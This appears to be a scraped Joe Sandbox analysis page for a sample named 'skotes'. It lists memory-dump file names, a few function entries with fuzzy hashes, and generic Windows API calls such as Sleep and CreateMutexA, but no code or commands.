Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 517483bf69440bbd8c4bb2fc6487a8a1d27227a0a353b7ab3f4eacf6e3db6491
Instruction ID: b296c6ed78ca7eee554c2de6c3687f310a59bfcde1837c5ed6ad63a0c43223d9
Opcode Fuzzy Hash: 517483bf69440bbd8c4bb2fc6487a8a1d27227a0a353b7ab3f4eacf6e3db6491
Instruction Fuzzy Hash: 6E2179317082009BFF18AF68EDC5BAEF7A1EBC1314F244229E525F72D5C77699818652

Function 00EBA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e088aa0fa07f15eb6cfa0818cadc5a32151332497c60a535c6131a51657222e0
Instruction ID: 852c1b9802805801a7d9de8ef8684c4d247210b5a6ef1f8f9a833ab819215305
Opcode Fuzzy Hash: e088aa0fa07f15eb6cfa0818cadc5a32151332497c60a535c6131a51657222e0
Instruction Fuzzy Hash: 712160303491018AFF286B68E99A7EFF291DFC1304F286836E548F6AD1CA7655419193

Function 00EBA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 12e5b7e9d28897d8bac21aa8603b6cfc6488e94e69604eea9906bd9890a3d742
Instruction ID: b8e28ef8c3238fa77943f3a2ccac099bbd0fc95535b6f0844cb21f1076edf1fd
Opcode Fuzzy Hash: 12e5b7e9d28897d8bac21aa8603b6cfc6488e94e69604eea9906bd9890a3d742
Instruction Fuzzy Hash: 2D2167313042009BEF08AF28EE85BAEB7A2EBC1314F285239E415F76D4C77695808252

Non-executed Functions

Function 00EECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EECC66

Strings

v, xrefs: 00EECBE1

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 998f46ccf1bc3f52bf6e6ef7529c5f3734c083e9d22842cab6f5f45ef25e9a5d
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C2B111329002C99FDB158F6AC881BBEBBE5EF45344F3451AAE855FB242D6359D02CB60

Function 00EB2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EB2F5F
__Mtx_unlock.LIBCPMT ref: 00EB2FCC
__Mtx_unlock.LIBCPMT ref: 00EB30F5
__Mtx_unlock.LIBCPMT ref: 00EB319B

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
